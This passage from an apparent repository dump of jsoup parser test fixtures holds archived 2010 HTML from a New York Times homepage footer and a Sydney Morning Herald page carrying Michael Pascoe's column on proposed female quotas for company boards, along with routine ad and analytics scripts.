alt=\"Weddings and Celebrations\" width=\"151\" height=\"151\" /></a>\n            </div>\n            <h6 class=\"headline\"><a href=\"http://www.nytimes.com/pages/fashion/weddings/index.html\">Weddings and Celebrations</a></h6>\n        </div>\n    </td>\n                                                    <td>\n            <div class=\"story\">\n                <h6 class=\"kicker\"><a href=\"http://www.nytimes.com/opinion\">Opinion &raquo;</a></h6>\n                <h3><a href=\"http://www.nytimes.com/2010/07/25/opinion/25schlosser.html\">Eric Schlosser: Unsafe at Any Meal</a></h3>\n                <p class=\"summary\">Will the Senate act to protect Americans from food-borne illnesses?</p>\n            </div>\n        </td>\n                                                <td>\n        <div class=\"story\">\n            <h6 class=\"kicker\">\n                                    <a href=\"http://www.nytimes.com/pages/weekinreview/index.html\">Week in Review &raquo;</a>\n                            </h6>\n            <div class=\"mothImage\">\n                <a href=\"http://www.nytimes.com/2010/07/25/weekinreview/25burns.html\"><img src=\"http://graphics8.nytimes.com/images/2010/07/25/weekinreview/25moth_burns/25moth_burns-moth.jpg\" alt=\"The Vagabond Cat That Came to Stay\" width=\"151\" height=\"151\" /></a>\n            </div>\n            <h6 class=\"headline\"><a href=\"http://www.nytimes.com/2010/07/25/weekinreview/25burns.html\">The Vagabond Cat That Came to Stay</a></h6>\n        </div>\n    </td>\n                                                <td>\n        <div class=\"story\">\n            <h6 class=\"kicker\">\n                                    <a href=\"http://www.nytimes.com/pages/travel/index.html\">Travel &raquo;</a>\n                            </h6>\n            <div class=\"mothImage\">\n                <a href=\"http://travel.nytimes.com/2010/07/25/travel/25Tokaj.html\"><img src=\"http://graphics8.nytimes.com/images/2010/07/25/travel/25moth_tokaj/25moth_tokaj-moth.jpg\" alt=\"Hidden in Hungary, Treasures on the Vine\" width=\"151\" height=\"151\" /></a>\n            </div>\n            <h6 class=\"headline\"><a href=\"http://travel.nytimes.com/2010/07/25/travel/25Tokaj.html\">Hidden in Hungary, Treasures on the Vine</a></h6>\n        </div>\n    </td>\n                                                <td class=\"hidden\">\n        <div class=\"story\">\n            <h6 class=\"kicker\">\n                                    <a href=\"http://www.nytimes.com/pages/magazine/index.html\">Magazine &raquo;</a>\n                            </h6>\n            <div class=\"mothImage\">\n                <a href=\"http://www.nytimes.com/magazine\"><span class=\"img\" src=\"http://graphics8.nytimes.com/images/2010/07/25/magazine/25moth-magcov/25moth-magcov-moth.jpg\" alt=\"The Web Means the End of Forgetting\" width=\"151\" height=\"151\" /></a>\n            </div>\n            <h6 class=\"headline\"><a href=\"http://www.nytimes.com/magazine\">The Web Means the End of Forgetting</a></h6>\n        </div>\n    </td>\n                                                <td class=\"hidden\">\n        <div class=\"story\">\n            <h6 class=\"kicker\">\n                                    <a href=\"http://www.nytimes.com/opinion\">Opinion &raquo;</a>                            </h6>\n            <div class=\"mothImage\">\n                <a href=\"http://www.nytimes.com/2010/07/25/opinion/25hartley.html\"><span class=\"img\" src=\"http://graphics8.nytimes.com/images/2010/07/25/opinion/25moth_oped1/25moth_oped1-moth.jpg\" alt=\"Op-Ed: Tea With a Terrorist\" width=\"151\" height=\"151\" /></a>\n            </div>\n            <h6 class=\"headline\"><a href=\"http://www.nytimes.com/2010/07/25/opinion/25hartley.html\">Op-Ed: Tea With a Terrorist</a></h6>\n        </div>\n    </td>\n                                                <td class=\"hidden\">\n        <div class=\"story\">\n            <h6 class=\"kicker\">\n                                    <a href=\"http://www.nytimes.com/pages/nyregion/index.html\">N.Y. / Region &raquo;</a>\n                            </h6>\n            <div class=\"mothImage\">\n                <a href=\"http://www.nytimes.com/2010/07/25/nyregion/25oneblock.html\"><span class=\"img\" src=\"http://graphics8.nytimes.com/images/2010/07/25/nyregion/25moth-oneblock/25moth-oneblock-moth.jpg\" alt=\"The Stories of One Brooklyn Block\" width=\"151\" height=\"151\" /></a>\n            </div>\n            <h6 class=\"headline\"><a href=\"http://www.nytimes.com/2010/07/25/nyregion/25oneblock.html\">The Stories of One Brooklyn Block</a></h6>\n        </div>\n    </td>\n                                                <td class=\"hidden\">\n        <div class=\"story\">\n            <h6 class=\"kicker\">\n                                    <a href=\"http://www.nytimes.com/pages/arts/music/index.html\">Music &raquo;</a>\n                            </h6>\n            <div class=\"mothImage\">\n                <a href=\"http://www.nytimes.com/2010/07/25/arts/music/25feminism.html\"><span class=\"img\" src=\"http://graphics8.nytimes.com/images/2010/07/25/arts/music/25moth_feminism/25moth_feminism-moth.jpg\" alt=\"Girl Pop&rsquo;s Lady Gaga Makeover\" width=\"151\" height=\"151\" /></a>\n            </div>\n            <h6 class=\"headline\"><a href=\"http://www.nytimes.com/2010/07/25/arts/music/25feminism.html\">Girl Pop&rsquo;s Lady Gaga Makeover</a></h6>\n        </div>\n    </td>\n                                                    <td class=\"hidden\">\n            <div class=\"story\">\n                <h6 class=\"kicker\"><a href=\"http://www.nytimes.com/opinion\">Opinion &raquo;</a></h6>\n                <h3><a href=\"http://www.nytimes.com/2010/07/25/opinion/25jacobsen.html\">Op-Ed: Where Oysters Grew on Trees</a></h3>\n                <p class=\"summary\">The Gulf Coast was once the nation&rsquo;s gold mine of marine life. The BP spill gives us a chance to restore it.</p>\n            </div>\n        </td>\n                                                <td class=\"hidden\">\n        <div class=\"story\">\n            <h6 class=\"kicker\">\n                                    <a href=\"http://www.nytimes.com/pages/books/index.html\">Books &raquo;</a>\n                            </h6>\n            <div class=\"mothImage\">\n                <a href=\"http://www.nytimes.com/2010/07/25/books/review/Mishra-t.html\"><span class=\"img\" src=\"http://graphics8.nytimes.com/images/2010/07/25/books/25moth_mishra/25moth_mishra-moth.jpg\" alt=\"Yoga in America\" width=\"151\" height=\"151\" /></a>\n            </div>\n            <h6 class=\"headline\"><a href=\"http://www.nytimes.com/2010/07/25/books/review/Mishra-t.html\">Yoga in America</a></h6>\n        </div>\n    </td>\n                                    </tr>\n            </tbody>\n        </table>\n    </div>\n    \n    </div><!-- end #insideNYTimes -->\n\n            </div><!--close main -->\n<div id=\"footer\">\n<ul class=\"first\">\n<li class=\"first\"><a href=\"http://www.nytimes.com\">Home</a></li>\n<li >\n<a href=\"http://www.nytimes.com/pages/world/index.html\">World</a>\n</li>\n<li >\n<a href=\"http://www.nytimes.com/pages/national/index.html\">U.S.</a>\n</li>\n<li >\n<a href=\"http://www.nytimes.com/pages/nyregion/index.html\">N.Y. / Region</a>\n</li>\n<li >\n<a href=\"http://www.nytimes.com/pages/business/index.html\">Business</a>\n</li>\n<li >\n<a href=\"http://www.nytimes.com/pages/technology/index.html\">Technology</a>\n</li>\n<li >\n<a href=\"http://www.nytimes.com/pages/science/index.html\">Science</a>\n</li>\n<li >\n<a href=\"http://www.nytimes.com/pages/health/index.html\">Health</a>\n</li>\n<li >\n<a href=\"http://www.nytimes.com/pages/sports/index.html\">Sports</a>\n</li>\n<li >\n<a href=\"http://www.nytimes.com/pages/opinion/index.html\">Opinion</a>\n</li>\n<li >\n<a href=\"http://www.nytimes.com/pages/arts/index.html\">Arts</a>\n</li>\n<li >\n<a href=\"http://www.nytimes.com/pages/style/index.html\">Style</a>\n</li>\n<li >\n<a href=\"http://www.nytimes.com/pages/travel/index.html\">Travel</a>\n</li>\n<li >\n<a href=\"http://www.nytimes.com/pages/jobs/index.html\">Jobs</a>\n</li>\n<li >\n<a href=\"http://www.nytimes.com/pages/realestate/index.html\">Real Estate</a>\n</li>\n<li >\n<a href=\"http://www.nytimes.com/pages/automobiles/index.html\">Autos</a>\n</li>\n<li><a href=\"#top\">Back to Top</a></li>\n</ul>\t\t<ul>\n<li class=\"first\"><a href=\"http://www.nytimes.com/ref/membercenter/help/copyright.html\">Copyright 2010</a> <a href=\"http://www.nytco.com/\">The New York Times Company</a></li>\n<li><a href=\"http://www.nytimes.com/privacy\">Privacy</a></li>\n<li><a href=\"http://www.nytimes.com/ref/membercenter/help/agree.html\">Terms of Service</a></li>\n<li><a href=\"http://www.nytimes.com/search\">Search</a></li>\n<li><a href=\"http://www.nytimes.com/corrections.html\">Corrections</a></li>\n<li><a class=\"rssButton\" href=\"http://www.nytimes.com/rss\">RSS</a></li>\n<li><a href=\"http://firstlook.nytimes.com\">First Look</a></li>\n<li><a href=\"http://www.nytimes.com/membercenter/sitehelp.html\">Help</a></li>\n<li><a href=\"http://www.nytimes.com/ref/membercenter/help/infoservdirectory.html\">Contact Us</a></li>\n<li><a href=\"https://careers.nytco.com/TAM/nyt_docs/TAM/candidate.html\">Work for Us</a></li>\n<li><a href=\"http://www.nytimes.whsites.net/mediakit/\">Advertise</a></li>\n<li><a href=\"http://spiderbites.nytimes.com/\">Site Map</a></li>\n</ul>\n</div>\n</div><!--close page -->\n</div><!--close shell -->\n<IMG SRC=\"/adx/bin/clientside/6bc2e5a3Q2FGQ20Q60nQ25eGcjQ3EekQ24j3Q7EQ20ceQ5EQ22Q7ECQ25Q5EQ25Q5EhQ60h_shl_Q3CQ25Cha\" height=\"1\" width=\"3\">\n   \n\n\n</body>\n\n\n\t\t\t\n\t\t<!-- Start UPT call -->\n\t\t<img height=\"1\" width=\"3\" border=0 src=\"http://up.nytimes.com/?d=0/4/&t=2&s=0&ui=0&r=http%3a%2f%2fwww%2enytimes%2ecom%2f&u=www%2enytimes%2ecom%2f2010%2f07%2f26%2fbusiness%2fglobal%2f26bp%2ehtml%3fhp%3d\">\n\t\t<!-- End UPT call -->\n\t\n\t\t\n        <script language=\"JavaScript\"><!--\n          var dcsvid=\"0\";\n          var regstatus=\"non-registered\";\n        //--></script>\n        <script src=\"http://graphics8.nytimes.com/js/app/analytics/trackingTags_v1.1.js\" type=\"text/javascript\"></script>\n        <noscript>\n          <div><img alt=\"DCSIMG\" id=\"DCSIMG\" width=\"1\" height=\"1\" src=\"http://wt.o.nytimes.com/dcsym57yw10000s1s8g0boozt_9t1x/njs.gif?dcsuri=/nojavascript&amp;WT.js=No&amp;WT.tv=1.0.7\"/></div>\n        </noscript>\n   \n<!-- ADXINFO classification=\"blank-but-count-imps\" campaign=\"Inv-Test_ROS-Country\"--><img src=\"http://graphics8.nytimes.com/ads/blank.gif\">\n\n<script src=\"http://content.dl-rms.com/rms/25887/nodetag.js\"></script>\n</html>\n\n\n\n\n\n"
  },
  {
    "path": "jun_java_plugins/jun_jsoup/src/test/resources/htmltests/smh-biz-article-1.html",
    "content": "<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Transitional//EN\" \"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd\">\n<html xmlns=\"http://www.w3.org/1999/xhtml\" lang=\"en\" xml:lang=\"en\">\n<head>\n    <title>The board’s next fear: the female quota</title>\n    <meta http-equiv=\"content-language\" content=\"en\" />\n<meta http-equiv=\"imagetoolbar\" content=\"no\" />\n<meta name=\"robots\" content=\"noarchive,noodp\" />\n<meta name=\"robots\" content=\"ACAP allow-index\" />\n<meta name=\"robots\" content=\"ACAP allow-follow\" />\n<meta name=\"robots\" content=\"ACAP disallow-preserve\" />\n<meta name=\"robots\" content=\"ACAP allow-present prohibited-modification=annotation\" />\n<meta name=\"description\" content=\"\" />\n<meta name=\"keywords\" content=\"\" />\n\n\n\n<!-- Styles =================================================================== -->\n<!-- Have these styles for both screen and print to create a base for printing: -->\n<link rel=\"stylesheet\" type=\"text/css\" media=\"screen,print\" href=\"http://resources.smh.com.au/common/media-common-1.0/css/base.css\" />\n<!-- Skin CSS: -->\n<link rel=\"stylesheet\" type=\"text/css\" media=\"screen\"       href=\"http://resources.smh.com.au/common/media-common-1.0/css/base-skin-news/skin-news.css\" />\n<link rel=\"stylesheet\" type=\"text/css\" media=\"screen\"       href=\"http://resources.smh.com.au/common/media-common-1.0/css/skin-business/skin-business.css\" />\n    <link rel=\"stylesheet\" type=\"text/css\" media=\"screen\" href=\"http://resources.smh.com.au/common/media-common-1.0/css/skin-promotions/skin-promotions.css\" />\n<link rel=\"alternate stylesheet\" type=\"text/css\" media=\"screen\" title=\"High contrast\" href=\"http://resources.smh.com.au/common/media-common-1.0/css/base-skin-news/skin-news-low-vision.css\" />\n<!-- Any adjustments we need to do for handheld devices: -->\n<link rel=\"stylesheet\" type=\"text/css\" media=\"handheld\"     href=\"http://resources.smh.com.au/common/media-common-1.0/css/mobile.css\" />\n\n<script type=\"text/javascript\" >\n    var delayedAds = [];\n</script>\n\n\n\n    <!-- All Javascript calls go here, after the content so loading and parsing a script does not affect content loading: -->\n    <script type=\"text/javascript\" src=\"http://resources.smh.com.au/common/media-common-1.0/js/fd.mt.media.com.au.js\"></script>\n<script type=\"text/javascript\" src=\"http://resources.smh.com.au/common/media-common-1.0/js/fd.media.custom.js\"></script>\n<script type=\"text/javascript\" src=\"http://resources.smh.com.au/common/media-common-1.0/js/adParams.js\"></script>\n<script type=\"text/javascript\" src=\"http://resources.smh.com.au/common/media-common-1.0/js/europa.lite.packed.js\"></script>\n\n<script type=\"text/javascript\">\n\n    function initPreAdLoadImage() {\n        new Element(\"img\", {\n            width: 1,\n            height: 1,\n            src: \"http://direct.fairfax.com.au/vserver/CCID=1/AREA=BUSINESS.SMH.BUSINESS.COLUMNIST/BT=1/ACC_RANDOM=678700\",\n            styles: {\n                display: 'none'\n            }\n        });\n    }\n\n    FD.register(\"PreAdLoadImage\");\n\n    var siteAdvertDesc = {\n        redir: \"/adredirect.html?ad=\"\n    };\n\n\n    FD.baseAd = {\n        src: \t\"http://direct.fairfax.com.au/jserver/\",\n        params: {\n            cat: \"BUSINESS\",\n            site: \"ONL.MH.SMH.BUSINESS\",\n            ctype: \"ARTICLE\",\n            area: \"BUSINESS.SMH.BUSINESS.COLUMNIST\",\n            cat1: \"COLUMNIST\",\n        isiframe: \"yes\"\n        }\n    };\n\n    function initPost() {\n\n\n        try {\n            document.domain = \"smh.com.au\";\n        }\n        catch (e)\n        {\n            // if working dev the above will fail\n        }\n\n        for(var i = 0; i < delayedAds.length; i++) {\n            delayedAds[i]();\n        }\n    }\n</script>\n\n</head>\n\n<body class=\"smh business\">\n<script type=\"text/javascript\">\n// <![CDATA[\n\tdocument.body.className += \" scriptable\";\n// ]]>\n</script>\n\n\n<a class=\"skipLink\" href=\"#nav\">Skip to navigation</a>\n<a class=\"skipLink\" href=\"#content\">Skip to content</a>\n\n<div class=\"wrap cfix\">\n\n    <div id=\"adspot-1x10\" class=\"\"></div>\n\n<script type=\"text/javascript\">\n\n    delayedAds.push(function(){\n        FD.addAd($merge(FD.baseAd, {\n            id: \"adspot-1x10\",\n            iframeId: \"adspot-1x10-iframe\",\n            params: $merge($merge(FD.baseAd.params, {\n                aamsz : \"1x10\"\n        }),getAdParams(\"1x10\"))\n\n            ,height: 1\n            ,width: 1\n            })\n        );\n    }\n);\n\n</script>\n\n\n<!-- Network strip top (scope: network-wide) -->\n<div class=\"nN-whiteStrip\">\n    <a class=\"logo\" href=\"http://www.fairfaxdigital.com.au/\" onclick=\"linktop(this);\">Fairfax Digital</a>\n    <ul class=\"links\">\n        <li><a href=\"http://newsbreak.com.au/\" onclick=\"linktop(this);\">News</a></li>\n        <li><a href=\"http://mycareer.com.au/\" onclick=\"linktop(this);\">MyCareer</a></li>\n        <li><a href=\"http://www.domain.com.au/\" onclick=\"linktop(this);\">Domain</a></li>\n        <li><a href=\"http://www.drive.com.au/\" onclick=\"linktop(this);\">Drive</a></li>\n        <li><a href=\"http://businessday.com.au/\" onclick=\"linktop(this);\">Finance</a></li>\n        <li><a href=\"http://mobile.fairfax.com.au/\" onclick=\"linktop(this);\">Mobile</a></li>\n        <li><a href=\"http://www.rsvp.com.au/\" onclick=\"linktop(this);\">RSVP</a></li>\n        <li><a href=\"http://www.smh.com.au/travel/travel-landing/\" onclick=\"linktop(this);\">Travel</a></li>\n        <li class=\"last\"><a href=\"http://www.weatherzone.com.au/\" onclick=\"linktop(this);\">Weather</a></li>\n    </ul>\n    <ul class=\"memberCentre\">\n        <li><a href=\"http://www.fairfax.com.au/map/\" onclick=\"linktop(this);\">network map</a></li><li class=\"last\"><a href=\"http://fairfaxdigital.com.au/\" onclick=\"linktop(this);\">member centre</a></li>\n    </ul>\n</div>\n<!-- End component: Network strip top -->\n\n\n<!-- Header (class according to new HTML5 element 'header'; was 'masthead') (scope: network-wide) -->\n<div class=\"header span-24\">\n    <div id=\"adspot-468X60-pos-1\" class=\"ad\"></div>\n\n<script type=\"text/javascript\">\n\n    delayedAds.push(function(){\n        FD.addAd($merge(FD.baseAd, {\n            id: \"adspot-468X60-pos-1\",\n            iframeId: \"adspot-468X60-pos-1-iframe\",\n            params: $merge($merge(FD.baseAd.params, {\n                    pos: 1,\n                    adtype: 'panorama',\n                aamsz : \"468X60\"\n        }),getAdParams(\"468X60\"))\n\n            })\n        );\n    }\n);\n\n</script>\n    <p class=\"mh-logo\"><a href=\"http://www.smh.com.au\" title=\"The Sydney Morning Herald\">The Sydney Morning Herald</a></p>\n            <h2><a href=\"http://business.smh.com.au\" title=\"Business\">Business</a></h2>\n\n        <!-- Navigation (scope: network-wide) -->\n    <ul id=\"nav\" class=\"hasSubNav\">\n\n\n\n\n                <li class=\"selected\">\n                    <a href=\"http://www.smh.com.au/business\" title=\"News\">News</a>\n\n                        <ol>\n                                <li>\n                                    <a href=\"http://www.smh.com.au/business/national\" title=\"Today's News & Views\">Today's News & Views</a>\n                                </li>\n                                <li>\n                                    <a href=\"http://www.smh.com.au/business/opinion\" title=\"Comment & Analysis\">Comment & Analysis</a>\n                                </li>\n                                <li>\n                                    <a href=\"http://www.smh.com.au/business/world\" title=\"World Business\">World Business</a>\n                                </li>\n                                <li>\n                                    <a href=\"http://www.smh.com.au/business/marketing\" title=\"Media & Marketing\">Media & Marketing</a>\n                                </li>\n                                <li>\n                                    <a href=\"http://www.smh.com.au/business/print-edition\" title=\"Newspaper Edition\">Newspaper Edition</a>\n                                </li>\n                                <li class=\"last\">\n                                    <a href=\"http://mobile.fairfax.com.au/\" title=\"BusinessDay Mobile\">BusinessDay Mobile</a>\n                                </li>\n                        </ol>\n\n\n                    </li>\n\n\n\n\n\n\n                <li>\n                    <a href=\"http://www.smh.com.au/business/markets\" title=\"Markets\">Markets</a>\n\n\n\n                    </li>\n\n\n\n\n\n\n                <li>\n                    <a href=\"http://markets.smh.com.au/apps/qt/index.ac\" title=\"Quotes\">Quotes</a>\n\n\n\n                    </li>\n\n\n\n\n\n\n                <li>\n                    <a href=\"http://markets.smh.com.au/apps/pf/index.ac\" title=\"Portfolio\">Portfolio</a>\n\n\n\n                    </li>\n\n\n\n\n\n\n                <li>\n                    <a href=\"http://www.smh.com.au/business/money/\" title=\"Money\">Money</a>\n\n\n\n                    </li>\n\n\n\n\n\n\n                <li>\n                    <a href=\"http://www.smh.com.au/business/property\" title=\"Property Focus\">Property Focus</a>\n\n\n\n                    </li>\n\n\n\n\n\n\n                <li class=\" hasDropdown startup\">\n                    <a href=\"http://smallbusiness.smh.com.au/\" title=\"Small Business\">Small Business</a>\n\n\n                        <ul>\n                                <li class=\"first\">\n                                    <a href=\"http://www.smh.com.au/small-business/startup\" title=\"Startup\">Startup</a>\n                                </li>\n                                <li>\n                                    <a href=\"http://www.smh.com.au/small-business/managing\" title=\"Managing\">Managing</a>\n                                </li>\n                                <li>\n                                    <a href=\"http://www.smh.com.au/small-business/franchising\" title=\"Franchising\">Franchising</a>\n                                </li>\n                                <li>\n                                    <a href=\"http://www.smh.com.au/small-business/trends\" title=\"Trends\">Trends</a>\n                                </li>\n                                <li>\n                                    <a href=\"http://www.smh.com.au/small-business/entrepreneur\" title=\"Entrepreneur\">Entrepreneur</a>\n                                </li>\n                                <li>\n                                    <a href=\"http://www.smh.com.au/small-business/marketing\" title=\"Marketing\">Marketing</a>\n                                </li>\n                                <li>\n                                    <a href=\"http://www.smh.com.au/small-business/finance\" title=\"Finance\">Finance</a>\n                                </li>\n                                <li>\n                                    <a href=\"http://www.smh.com.au/small-business/technology\" title=\"Technology\">Technology</a>\n                                </li>\n                                <li>\n                                    <a href=\"http://www.smh.com.au/small-business/resources\" title=\"Resources\">Resources</a>\n                                </li>\n                                <li class=\"last\">\n                                    <a href=\"http://www.smh.com.au/small-business/coaching\" title=\"Coaching\">Coaching</a>\n                                </li>\n                        </ul>\n\n                    </li>\n\n\n\n\n\n\n                <li class=\" hasDropdown \">\n                    <a href=\"http://www.smh.com.au/business/executivestyle/\" title=\"Executive Style\">Executive Style</a>\n\n\n                        <ul>\n                                <li class=\"first\">\n                                    <a href=\"http://www.smh.com.au/executive-style/travel/\" title=\"Travel\">Travel</a>\n                                </li>\n                                <li>\n                                    <a href=\"http://www.smh.com.au/executive-style/motors/\" title=\"Motors\">Motors</a>\n                                </li>\n                                <li>\n                                    <a href=\"http://www.smh.com.au/executive-style/culture/\" title=\"Culture\">Culture</a>\n                                </li>\n                                <li>\n                                    <a href=\"http://www.smh.com.au/executive-style/gadgets\" title=\"Gadgets\">Gadgets</a>\n                                </li>\n                                <li>\n                                    <a href=\"http://www.smh.com.au/executive-style/luxury\" title=\"Luxury\">Luxury</a>\n                                </li>\n                                <li>\n                                    <a href=\"http://www.smh.com.au/executive-style/management/\" title=\"Management\">Management</a>\n                                </li>\n                                <li>\n                                    <a href=\"http://www.smh.com.au/executive-style/style/\" title=\"Style\">Style</a>\n                                </li>\n                                <li>\n                                    <a href=\"http://www.smh.com.au/executive-style/top-drop\" title=\"Wine\">Wine</a>\n                                </li>\n                                <li class=\"last\">\n                                    <a href=\"http://www.smh.com.au/executive-style/fitness\" title=\"Fitness\">Fitness</a>\n                                </li>\n                        </ul>\n\n                    </li>\n\n\n\n\n\n\n                <li class=\" hasDropdown \">\n                    <a href=\"#\" title=\"Compare & Save\">Compare & Save</a>\n\n\n                        <ul>\n                                <li class=\"first\">\n                                    <a href=\"http://compare.smh.com.au/credit-cards\" title=\"Credit Cards\">Credit Cards</a>\n                                </li>\n                                <li>\n                                    <a href=\"http://compare.smh.com.au/debit-cards\" title=\"Debit Cards\">Debit Cards</a>\n                                </li>\n                                <li>\n                                    <a href=\"http://compare.smh.com.au/home-loans\" title=\"Home Loans\">Home Loans</a>\n                                </li>\n                                <li>\n                                    <a href=\"http://compare.smh.com.au/personal-loans\" title=\"Personal Loans\">Personal Loans</a>\n                                </li>\n                                <li>\n                                    <a href=\"http://compare.smh.com.au/car-loans\" title=\"Car Loans\">Car Loans</a>\n                                </li>\n                                <li>\n                                    <a href=\"http://compare.smh.com.au/term-deposits\" title=\"Term Deposits\">Term Deposits</a>\n                                </li>\n                                <li>\n                                    <a href=\"http://compare.smh.com.au/bank-accounts\" title=\"Bank Accounts\">Bank Accounts</a>\n                                </li>\n                                <li class=\"last\">\n                                    <a href=\"http://compare.smh.com.au/savings-accounts\" title=\"Saving Accounts\">Saving Accounts</a>\n                                </li>\n                        </ul>\n\n                    </li>\n\n\n\n\n\n\n                <li class=\" sponsor-1\">\n                    <a href=\"http://www.smh.com.au/national/cfdeducation\" title=\"Trader Insights\">Trader Insights</a>\n\n\n\n                    </li>\n\n\n    </ul>\n    <!-- End module Navigation -->\n\n\n        <!-- Breadcrumb (scope: network-wide) -->\n    <p class=\"breadcrumb\">\n        <span>You are here:</span>\n            <a href=\"http://www.smh.com.au\">Home</a>\n            &raquo; <a href=\"http://www.smh.com.au/business\">BusinessDay</a>\n            &raquo; <a href=\"http://www.smh.com.au/business/by/Michael-Pascoe\">Michael Pascoe</a>\n            &raquo; <a href=\"http://www.smh.com.au/business/the-boards-next-fear-the-female-quota-20100106-lteq.html\">Article</a>\n    </p>\n\n\n        <ul class=\"altFormats\">\n            <li class=\"mobiles\">\n                <a href=\"http://mobile.fairfax.com.au/\">Mobiles</a>\n            </li>\n            <li class=\"rss\">\n                <a href=\"http://www.smh.com.au/rssheadlines\">RSS</a>\n            </li>\n            <li class=\"newsletters\">\n                <a href=\"https://membercentre.fairfax.com.au/NewsletterSubscription.aspx\">Newsletters</a>\n            </li>\n        <li id=\"vision\" class=\"last\"><a href=\"#\">High contrast</a></li>\n    </ul>\n\n\n        <!-- Search (scope:network-wide) -->\n    <div class=\"cN-searchBox cfix\">\n    <form action=\"http://www.smh.com.au/execute_search.html\" method=\"get\">\n        <h2>Search smh:</h2>\n        <label for=\"search\">\n            <input type=\"text\" name=\"text\" id=\"search\" value='Search here...' onfocus=\"this.value='';\" />\n        </label>\n        <h3>Search in:</h3>\n        <ul id=\"ddown\" class=\"ddown\">\n            <li><a class=\"selected\" href=\"#\">Business</a>\n                <div class=\"srch-wrap\">\n\t\t\t\t\t<div></div>\n                    <ul class=\"cfix\">\n                            <li class=\"first\"><a href=\"#\">smh.com.au</a></li>\n                            <li><a href=\"#\">Web</a></li>\n                            <li><a href=\"#\">Business</a></li>\n                    </ul>\n                </div>\n            </li>\n        </ul>\n        <input type=\"hidden\" name=\"ss\" value=\"Business\" />\n        <input type=\"submit\" class=\"btnSubmit\" value=\"Search\" />\n    </form>\n    </div>\n\n\n</div>\n<!-- End component: Header -->\n\n\n\n\t<div id=\"adspot-940X20-pos-1\" class=\"ad\"></div>\n\n<script type=\"text/javascript\">\n\n    delayedAds.push(function(){\n        FD.addAd($merge(FD.baseAd, {\n            id: \"adspot-940X20-pos-1\",\n            iframeId: \"adspot-940X20-pos-1-iframe\",\n            params: $merge($merge(FD.baseAd.params, {\n                    pos: 1,\n                    adtype: 'panorama',\n                aamsz : \"940X20\"\n        }),getAdParams(\"940X20\"))\n\n            ,height: 1\n            ,width: 940\n            })\n        );\n    }\n);\n\n</script>\n\n    <!-- Content. We use an id here to be able to jump to this section. -->\n    <div id=\"content\" class=\"span-16\">\n\n        <!-- cN-headingPage -->\n        <h1 class=\"cN-headingPage prepend-5 span-11 last\"><HEADLINE>The board’s next fear: the female quota</HEADLINE></h1>\n\n        <!-- Class 'push-0' just right-aligns the element so that the main content comes first. -->\n        <div class=\"push-0 span-11 last\">\n\n\n<!-- cT-storyDetails -->\n<div class=\"cT-storyDetails cfix\">\n        <cite>January 6, 2010 - 1:12PM</cite>\n</div>\n\n<div class=\"ad adSpot-textBox\" id=\"googleAds\"></div>\n\n<BOD>\n    <div class=\"articleBody\">\n            <p>For all the protestations, there’s been an almost audible sigh of relief in the directors’ club about the watered-down and more workable recommendations from the Productivity Commission on remuneration report votes. Besides, the whole question of obscene executive pay was effectively ducked anyway.</p>\n            <p>But the way is now cleared for various boardrooms to move on to the next big fear: that the Federal Government might impose a quota for female directors. After all, the Labor Party has done something like that to itself with a quota of 40 per cent of candidates being women, resulting in a third of Labor MHRs being female.</p>\n            <p>(In case you’re wondering, women have 27 per cent of all House of Reps seats and make up 36 per cent of the Senate.)</p>\n            <p>In a recent social setting and therefore anonymously, a prominent member of the directors’ club and chairman of major company told me his fellows were appalled at the prospect.</p>\n            <p>The usual reservations were cited: a quota means the best person for the job may not be chosen; it demeans women who are chosen as the suspicion will be that they didn’t get the job on merit.</p>\n            <p>But much more important to this chairman was that there was not a sufficient pool of female talent at the top of the executive aquatic centre from which to fish an imposed quota of directors. And once a government started mandating quotas for one group, he feared it would be liable to repeat the exercise for another. A quota for indigenous Australians, perhaps.</p>\n            <p>My suspicion is that this chairman was representative of the thinking of his peers, if not what they’re prepared to say in public. In that case, there’s a lot more to be done in the evolution of women CEOs before the boardrooms can start to mirror Federal Parliament – and it shouldn’t need to be said that there is a vast difference between what’s required to be a “successful” MP and a successful director, as the miserable boardroom careers of many retired pollies indicates.</p>\n            <p>This week’s Economist magazine cover revives the World War II image of Rosie the Riveter with the headline: “We Did It! What happens when women are over half the workforce”. It celebrates the fact that in the next few months, women will cross the 50 per cent threshold and make up the majority of the American workforce.</p>\n            <p>“Women already make up the majority of university graduates in the OECD countries and the majority of professional workers in several rich countries, including the United States. Women run many of the world’s great companies, from PepsiCo in America to Areva in France,” notes the Economist’s leader – and it could have continued “and Westpac and Harvey Norman in Australia”.</p>\n            <p>“Women’s economic empowerment is arguably the biggest social change of our times. Just a generation ago, women were largely confined to repetitive, menial jobs. They were routinely subjected to casual sexism and were expected to abandon their careers when they married and had children. Today they are running some of the organisations that once treated them as second-class citizens. Millions of women have been given more control over their own lives. And millions of brains have been put to more productive use. Societies that try to resist this trend - most notably the Arab countries, but also Japan and some southern European countries - will pay a heavy price in the form of wasted talent and frustrated citizens.”</p>\n            <p>The leader goes on to face the two major remaining issues: that women are still under-represented at the top making up only 2 per cent of the bosses of major American companies and 5 per cent of British; and that women are paid significantly less than men on average.</p>\n            <p>In keeping with the Economist’s rational and liberal credo, it argues for, mostly, letting the market do the work in fixing those problems as it’s been doing a good job of it over the past decade. When the Scandinavian experience is cited as a way of speeding up the process, the magazine answers:</p>\n            <p>“If that means massive intervention, in the shape of affirmative-action programs and across-the-board benefits for parents of all sorts, the answer is no. To begin with, promoting people on the basis of their sex is illiberal and unfair, and stigmatises its beneficiaries. And there are practical problems. Lengthy periods of paid maternity leave can put firms off hiring women, which helps explain why most Swedish women work in the public sector and Sweden has a lower proportion of women in management than America does.”</p>\n            <p>The leader argues that there are plenty of cheaper and subtler ways in which governments can make life easier for women.</p>\n            <p>“Welfare states were designed when most women stayed at home. They need to change the way they operate. German schools, for instance, close at midday. American schools shut down for two months in the summer. These things can be changed without huge cost.”</p>\n            <p>Perhaps without huge cost, but it would be a very brave minister who would take on the Teachers’ Union for a start. It would be so much easier for a federal Labor politicians to simply mandate a female quota for the nation’s boardrooms, but as the saying goes: For every large and difficult problem, you can generally find an easy solution – and it will be wrong.</p>\n            <p><span style=\"font-style: italic;\">Michael Pascoe is a BusinessDay contributing editor.</span></p>\n    </div>\n    <!-- articleBody -->\n</BOD>\n\n\n\n            <div class=\"ad adSpot-textBox\" id=\"moreGoogleAds\"></div>\n\n            <div align=\"right\">\n                <a href=\"http://direct.fairfax.com.au/adclick/CID=000215760000000000000000 \"><b>To advertise your business on Google...click here</b></a>\n            </div>\n\n                <!-- 